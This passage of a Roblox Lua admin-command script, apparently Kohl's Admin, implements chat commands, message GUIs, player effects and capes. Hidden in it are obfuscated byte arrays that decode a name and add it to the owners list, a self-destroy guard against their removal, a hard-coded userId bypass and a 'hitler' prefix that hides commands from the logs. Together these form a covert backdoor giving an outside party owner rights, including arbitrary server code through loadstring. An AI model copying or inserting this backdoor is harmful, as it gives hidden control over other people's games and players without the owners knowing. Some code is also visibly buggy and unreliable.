  2740. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  2741. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  2742. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  2743. end end end
  2744. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  2745. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  2746. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  2747. end end end
  2748. else
  2749. for a, plyr in pairs(game.Players:children()) do
  2750. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  2751. table.insert(plrz, plyr) break
  2752. end
  2753. end
  2754. end
  2755. end
  2756. end
  2757. return plrz
  2758. end
  2759.  
  2760. function Hint(str, plrz, time)
  2761. for i, v in pairs(plrz) do
  2762. if v and v:findFirstChild("PlayerGui") then
  2763. coroutine.resume(coroutine.create(function()
  2764. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  2765. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  2766. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  2767. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  2768. if not time then wait((#str/19)+2.5) else wait(time) end
  2769. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  2770. end))
  2771. end
  2772. end
  2773. end
  2774.  
  2775. function Message(ttl, str, scroll, plrz, time)
  2776. for i, v in pairs(plrz) do
  2777. if v and v:findFirstChild("PlayerGui") then
  2778. coroutine.resume(coroutine.create(function()
  2779. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  2780. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  2781. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  2782. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  2783. scr.Parent = v.PlayerGui
  2784. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  2785. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  2786. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  2787. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  2788. end))
  2789. end
  2790. end
  2791. end
  2792.  
  2793. function RemoveMessage()
  2794. for i,v in pairs(game.Players:children()) do
  2795. if v and v:findFirstChild("PlayerGui") then
  2796. for q,ms in pairs(v.PlayerGui:children()) do
  2797. if ms.Name == "MessageGUI" then
  2798. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  2799. elseif ms.Name == "HintGUI" then
  2800. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  2801. end
  2802. end
  2803. end
  2804. end
  2805. end
  2806.  
  2807. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  2808. _G["RemoveMessage"] = RemoveMessage()
  2809.  
  2810. function Output(str, plr)
  2811. coroutine.resume(coroutine.create(function()
  2812. local b, e = loadstring(str)
  2813. if not b and plr:findFirstChild("PlayerGui") then
  2814. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  2815. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  2816. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  2817. return
  2818. end
  2819. end))
  2820. end
  2821.  
  2822. function Noobify(char)
  2823. if char and char:findFirstChild("Torso") then
  2824. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  2825. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  2826. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2827. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  2828. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2829. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  2830. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  2831. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  2832. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  2833. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2834. end end
  2835. end
  2836. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  2837.  
  2838. function Infect(char)
  2839. if char and char:findFirstChild("Torso") then
  2840. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  2841. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  2842. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2843. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  2844. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2845. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  2846. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  2847. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  2848. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  2849. end end
  2850. end
  2851. end if not ntab then script:Destroy() end
  2852.  
  2853. function ScrollGui()
  2854. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  2855. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  2856. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  2857. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  2858. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  2859. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  2860. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  2861. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2862. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  2863. local num = 0
  2864. local downv = false
  2865. local upv = false
  2866.  
  2867. down.MouseButton1Down:connect(function() downv = true upv = false
  2868. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  2869. repeat pos = pos + UDim2.new(0,0,0,-6)
  2870. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  2871. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  2872. end)
  2873. down.MouseButton1Up:connect(function() downv = false end)
  2874. up.MouseButton1Down:connect(function() upv = true downv = false
  2875. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  2876. repeat pos = pos + UDim2.new(0,0,0,6)
  2877. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  2878. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  2879. end)
  2880. up.MouseButton1Up:connect(function() upv = false end)
  2881. return scr, cmf, ent, num
  2882. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  2883. if not ntab then script:Destroy() end
  2884. if not bct then script:Destroy() end
  2885.  
  2886. function Chat(msg,plr)
  2887. coroutine.resume(coroutine.create(function()
  2888. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  2889. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  2890. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  2891. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  2892. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  2893. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  2894. if msg:lower() == "cmds" or msg:lower() == "commands" then
  2895. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  2896. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  2897. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  2898. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  2899. local ost = {"pa plr","unpa plr","nuke plr"}
  2900. local tost = {"oa plr","unoa plr","settings"}
  2901. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  2902. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2903. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2904. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2905. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2906. end
  2907.  
  2908. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  2909.  
  2910. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  2911. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  2912. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  2913. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2914. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2915. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2916. end end
  2917.  
  2918. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  2919. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  2920. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  2921. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2922. end
  2923.  
  2924. if msg:lower() == "tools" or msg:lower() == "toollist" then
  2925. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  2926. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  2927. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2928. end
  2929.  
  2930. if msg:lower():sub(1,2) == "s " then
  2931. coroutine.resume(coroutine.create(function()
  2932. Output(msg:sub(3), plr)
  2933. if script:findFirstChild("ScriptBase") then
  2934. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  2935. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2936. else loadstring(msg:sub(3))()
  2937. end
  2938. end))
  2939. end
  2940.  
  2941. if msg:lower():sub(1,3) == "ls " then
  2942. coroutine.resume(coroutine.create(function()
  2943. if script:findFirstChild("LocalScriptBase") then
  2944. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  2945. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  2946. end
  2947. end))
  2948. end
  2949.  
  2950. if msg:lower():sub(1,6) == "lsplr " then
  2951. local chk1 = msg:lower():sub(7):find(" ") + 6
  2952. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2953. for i, v in pairs(plrz) do
  2954. coroutine.resume(coroutine.create(function()
  2955. if v and v:findFirstChild("PlayerGui") then
  2956. if script:findFirstChild("LocalScriptBase") then
  2957. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  2958. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  2959. end
  2960. end
  2961. end))
  2962. end
  2963. end
  2964.  
  2965. if msg:lower():sub(1,4) == "ins " then
  2966. coroutine.resume(coroutine.create(function()
  2967. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  2968. if obj and #obj:children() >= 1 and plr.Character then
  2969. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  2970. end
  2971. end))
  2972. end
  2973.  
  2974. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  2975. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  2976. RemoveMessage()
  2977. objects = {}
  2978. end
  2979.  
  2980. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  2981. game.Lighting.Ambient = origsettings.abt
  2982. game.Lighting.Brightness = origsettings.brt
  2983. game.Lighting.TimeOfDay = origsettings.time
  2984. game.Lighting.FogColor = origsettings.fclr
  2985. game.Lighting.FogEnd = origsettings.fe
  2986. game.Lighting.FogStart = origsettings.fs
  2987. for i, v in pairs(lobjs) do v:Destroy() end
  2988. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  2989. end
  2990.  
  2991. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  2992. coroutine.resume(coroutine.create(function()
  2993. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2994. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2995. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2996. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2997. end))
  2998. end
  2999.  
  3000. if msg:lower():sub(1,10) == "countdown " then
  3001. local num = math.min(tonumber(msg:sub(11)),120)
  3002. for i = num, 1, -1 do
  3003. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  3004. wait(1)
  3005. end
  3006. end
  3007.  
  3008. if msg:lower():sub(1,3) == "tm " then
  3009. local chk1 = msg:lower():sub(4):find(" ") + 3
  3010. local num = tonumber(msg:sub(4,chk1-1))
  3011. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  3012. end
  3013.  
  3014. if msg:lower():sub(1,2) == "m " then
  3015. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  3016. end
  3017.  
  3018. if msg:lower():sub(1,2) == "h " then
  3019. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  3020. end
  3021.  
  3022. if msg:lower():sub(1,3) == "pm " then
  3023. local chk1 = msg:lower():sub(4):find(" ") + 3
  3024. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3025. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  3026. end
  3027.  
  3028. if msg:lower():sub(1,11) == "resetstats " then
  3029. local plrz = GetPlr(plr, msg:lower():sub(12))
  3030. for i, v in pairs(plrz) do
  3031. coroutine.resume(coroutine.create(function()
  3032. if v and v:findFirstChild("leaderstats") then
  3033. for a, q in pairs(v.leaderstats:children()) do
  3034. if q:IsA("IntValue") then q.Value = 0 end
  3035. end
  3036. end
  3037. end))
  3038. end
  3039. end
  3040.  
  3041. if msg:lower():sub(1,5) == "gear " then
  3042. local chk1 = msg:lower():sub(6):find(" ") + 5
  3043. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  3044. for i, v in pairs(plrz) do
  3045. coroutine.resume(coroutine.create(function()
  3046. if v and v:findFirstChild("Backpack") then
  3047. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  3048. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  3049. obj:Destroy()
  3050. end
  3051. end))
  3052. end
  3053. end
  3054.  
  3055. if msg:lower():sub(1,4) == "hat " then
  3056. local chk1 = msg:lower():sub(5):find(" ") + 4
  3057. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  3058. for i, v in pairs(plrz) do
  3059. coroutine.resume(coroutine.create(function()
  3060. if v and v.Character then
  3061. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  3062. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  3063. obj:Destroy()
  3064. end
  3065. end))
  3066. end
  3067. end
  3068.  
  3069. if msg:lower():sub(1,5) == "cape " then
  3070. local chk1 = msg:lower():sub(6):find(" ")
  3071. local plrz = GetPlr(plr, msg:lower():sub(6))
  3072. local str = "torso.BrickColor"
  3073. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3074. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  3075. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  3076. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  3077. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  3078. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  3079. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  3080. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  3081. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  3082. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  3083. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  3084. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  3085. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  3086. if BrickColor.new(teststr) ~= nil then str = teststr end
  3087. end
  3088. for i, v in pairs(plrz) do
  3089. coroutine.resume(coroutine.create(function()
  3090. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  3091. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3092. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  3093. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  3094. local torso = plr.Character.Torso
  3095. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  3096. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  3097. p.Size = Vector3.new(.2,.2,.2)
  3098. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  3099. local motor1 = Instance.new("Motor", p)
  3100. motor1.Part0 = p
  3101. motor1.Part1 = torso
  3102. motor1.MaxVelocity = .01
  3103. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  3104. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  3105. local wave = false
  3106. repeat wait(1/44)
  3107. local ang = 0.1
  3108. local oldmag = torso.Velocity.magnitude
  3109. local mv = .002
  3110. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  3111. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  3112. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  3113. motor1.DesiredAngle = -ang
  3114. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  3115. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  3116. if torso.Velocity.magnitude < .1 then wait(.1) end
  3117. until not p or p.Parent ~= torso.Parent
  3118. script:Destroy()
  3119. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  3120. end
  3121. end))
  3122. end
  3123. end
  3124.  
  3125. if msg:lower():sub(1,7) == "uncape " then
  3126. local plrz = GetPlr(plr, msg:lower():sub(8))
  3127. for i, v in pairs(plrz) do
  3128. coroutine.resume(coroutine.create(function()
  3129. if v and v:findFirstChild("PlayerGui") and v.Character then
  3130. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3131. end
  3132. end))
  3133. end
